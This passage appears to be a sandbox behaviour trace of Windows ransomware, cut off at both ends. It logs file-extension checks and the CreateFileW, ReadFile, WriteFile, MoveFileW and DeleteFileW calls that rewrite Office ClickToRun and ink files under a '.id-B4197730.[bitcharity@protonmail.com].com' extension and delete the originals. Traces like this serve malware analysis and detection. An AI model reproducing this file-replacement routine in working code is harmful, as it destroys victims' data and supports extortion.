lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0293.601] lstrlenW (lpString=".1cd") returned 4 [0293.601] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0293.601] lstrlenW (lpString=".jpg") returned 4 [0293.601] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.601] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0293.601] lstrlenW (lpString="mso40uiwin32client.dll") returned 22 [0293.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0293.601] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=9330784) returned 1 [0293.601] CloseHandle (hObject=0x1094) returned 1 [0293.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 0x20 [0293.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.602] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0293.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.603] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[bitcharity@protonmail.com].com"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0293.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0293.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0293.603] lstrlenW (lpString=".doc") returned 4 [0293.603] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.666] lstrlenW (lpString=".docx") returned 5 [0293.666] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0293.666] lstrlenW (lpString=".pdf") returned 4 [0293.666] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.666] lstrlenW (lpString=".xls") returned 4 [0293.666] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.666] lstrlenW (lpString=".xlsx") returned 5 [0293.666] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0293.666] lstrlenW (lpString=".ppt") returned 4 [0293.666] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0293.666] lstrlenW (lpString=".zip") returned 4 [0293.666] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.666] lstrlenW (lpString=".rar") returned 4 [0293.666] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.666] lstrlenW (lpString=".bz2") returned 4 [0293.666] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.666] lstrlenW (lpString=".7z") returned 3 [0293.666] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0293.667] lstrlenW (lpString=".dbf") returned 4 [0293.667] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0293.667] lstrlenW (lpString=".1cd") returned 4 [0293.667] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0293.667] lstrlenW (lpString=".jpg") returned 4 [0293.667] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0293.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0293.667] lstrlenW (lpString=".doc") returned 4 [0293.667] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.667] lstrlenW (lpString=".docx") returned 5 [0293.667] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0293.667] lstrlenW (lpString=".pdf") returned 4 [0293.667] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.667] lstrlenW (lpString=".xls") returned 4 [0293.667] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.667] lstrlenW (lpString=".xlsx") returned 5 [0293.667] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0293.667] lstrlenW (lpString=".ppt") returned 4 [0293.667] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0293.667] lstrlenW (lpString=".zip") returned 4 [0293.667] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.667] lstrlenW (lpString=".rar") returned 4 [0293.667] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.667] lstrlenW (lpString=".bz2") returned 4 [0293.667] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.667] lstrlenW (lpString=".7z") returned 3 [0293.667] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0293.667] lstrlenW (lpString=".dbf") returned 4 [0293.667] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0293.667] lstrlenW (lpString=".1cd") returned 4 [0293.667] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll") returned 80 [0293.668] lstrlenW (lpString=".jpg") returned 4 [0293.668] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.668] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0293.668] lstrlenW (lpString="OfficeC2RCom.dll") returned 16 [0293.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0293.730] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=996568) returned 1 [0293.730] CloseHandle (hObject=0x1094) returned 1 [0293.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0293.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0293.731] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.731] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0293.731] GetLastError () returned 0x0 [0293.731] ReadFile (in: hFile=0x1094, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0xf34d8, lpOverlapped=0x0) returned 1 [0294.256] WriteFile (in: hFile=0x10a4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xf34e0, lpOverlapped=0x0) returned 1 [0294.271] ReadFile (in: hFile=0x1094, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.271] WriteFile (in: hFile=0x10a4, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xf4, lpOverlapped=0x0) returned 1 [0294.271] SetEndOfFile (hFile=0x10a4) returned 1 [0294.272] CloseHandle (hObject=0x10a4) returned 1 [0294.272] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.272] SetEndOfFile (hFile=0x1094) returned 1 [0294.535] CloseHandle (hObject=0x1094) returned 1 [0294.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0294.535] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1 [0294.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0294.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0294.535] lstrlenW (lpString=".doc") returned 4 [0294.535] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.535] lstrlenW (lpString=".docx") returned 5 [0294.535] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0294.535] lstrlenW (lpString=".pdf") returned 4 [0294.535] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.535] lstrlenW (lpString=".xls") returned 4 [0294.535] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.535] lstrlenW (lpString=".xlsx") returned 5 [0294.536] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0294.536] lstrlenW (lpString=".ppt") returned 4 [0294.536] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0294.536] lstrlenW (lpString=".zip") returned 4 [0294.536] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.536] lstrlenW (lpString=".rar") returned 4 [0294.536] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.536] lstrlenW (lpString=".bz2") returned 4 [0294.536] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.536] lstrlenW (lpString=".7z") returned 3 [0294.536] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0294.536] lstrlenW (lpString=".dbf") returned 4 [0294.536] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0294.536] lstrlenW (lpString=".1cd") returned 4 [0294.536] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0294.536] lstrlenW (lpString=".jpg") returned 4 [0294.536] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0294.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0294.536] lstrlenW (lpString=".doc") returned 4 [0294.536] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.536] lstrlenW (lpString=".docx") returned 5 [0294.536] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0294.536] lstrlenW (lpString=".pdf") returned 4 [0294.536] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.536] lstrlenW (lpString=".xls") returned 4 [0294.536] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.536] lstrlenW (lpString=".xlsx") returned 5 [0294.536] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0294.536] lstrlenW (lpString=".ppt") returned 4 [0294.536] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0294.537] lstrlenW (lpString=".zip") returned 4 [0294.537] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.537] lstrlenW (lpString=".rar") returned 4 [0294.537] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.537] lstrlenW (lpString=".bz2") returned 4 [0294.537] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.537] lstrlenW (lpString=".7z") returned 3 [0294.537] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0294.537] lstrlenW (lpString=".dbf") returned 4 [0294.537] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0294.537] lstrlenW (lpString=".1cd") returned 4 [0294.537] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0294.537] lstrlenW (lpString=".jpg") returned 4 [0294.537] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.537] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0294.537] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0294.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0294.537] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=9728) returned 1 [0294.537] CloseHandle (hObject=0x1094) returned 1 [0294.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0294.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0294.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0294.538] lstrlenW (lpString=".doc") returned 4 [0294.538] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.538] lstrlenW (lpString=".docx") returned 5 [0294.538] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.538] lstrlenW (lpString=".pdf") returned 4 [0294.538] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.538] lstrlenW (lpString=".xls") returned 4 [0294.538] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.538] lstrlenW (lpString=".xlsx") returned 5 [0294.538] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.538] lstrlenW (lpString=".ppt") returned 4 [0294.538] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0294.538] lstrlenW (lpString=".zip") returned 4 [0294.538] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.538] lstrlenW (lpString=".rar") returned 4 [0294.538] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.538] lstrlenW (lpString=".bz2") returned 4 [0294.538] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.538] lstrlenW (lpString=".7z") returned 3 [0294.538] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0294.538] lstrlenW (lpString=".dbf") returned 4 [0294.538] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0294.538] lstrlenW (lpString=".1cd") returned 4 [0294.538] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0294.538] lstrlenW (lpString=".jpg") returned 4 [0294.538] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0294.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0294.539] lstrlenW (lpString=".doc") returned 4 [0294.539] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.539] lstrlenW (lpString=".docx") returned 5 [0294.539] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.539] lstrlenW (lpString=".pdf") returned 4 [0294.539] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.539] lstrlenW (lpString=".xls") returned 4 [0294.539] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.539] lstrlenW (lpString=".xlsx") returned 5 [0294.539] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.539] lstrlenW (lpString=".ppt") returned 4 [0294.539] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0294.539] lstrlenW (lpString=".zip") returned 4 [0294.539] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.539] lstrlenW (lpString=".rar") returned 4 [0294.539] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.539] lstrlenW (lpString=".bz2") returned 4 [0294.539] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.539] lstrlenW (lpString=".7z") returned 3 [0294.539] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0294.539] lstrlenW (lpString=".dbf") returned 4 [0294.539] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0294.539] lstrlenW (lpString=".1cd") returned 4 [0294.539] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0294.539] lstrlenW (lpString=".jpg") returned 4 [0294.539] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.539] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0294.540] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0294.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0294.540] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=10240) returned 1 [0294.540] CloseHandle (hObject=0x1094) returned 1 [0294.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0294.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0294.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0294.540] lstrlenW (lpString=".doc") returned 4 [0294.540] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.540] lstrlenW (lpString=".docx") returned 5 [0294.540] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.540] lstrlenW (lpString=".pdf") returned 4 [0294.540] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.540] lstrlenW (lpString=".xls") returned 4 [0294.540] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.540] lstrlenW (lpString=".xlsx") returned 5 [0294.540] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.540] lstrlenW (lpString=".ppt") returned 4 [0294.540] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0294.540] lstrlenW (lpString=".zip") returned 4 [0294.541] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.541] lstrlenW (lpString=".rar") returned 4 [0294.541] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.541] lstrlenW (lpString=".bz2") returned 4 [0294.541] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.541] lstrlenW (lpString=".7z") returned 3 [0294.541] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0294.541] lstrlenW (lpString=".dbf") returned 4 [0294.541] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0294.541] lstrlenW (lpString=".1cd") returned 4 [0294.541] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0294.541] lstrlenW (lpString=".jpg") returned 4 [0294.541] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0294.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0294.541] lstrlenW (lpString=".doc") returned 4 [0294.541] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.541] lstrlenW (lpString=".docx") returned 5 [0294.541] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.541] lstrlenW 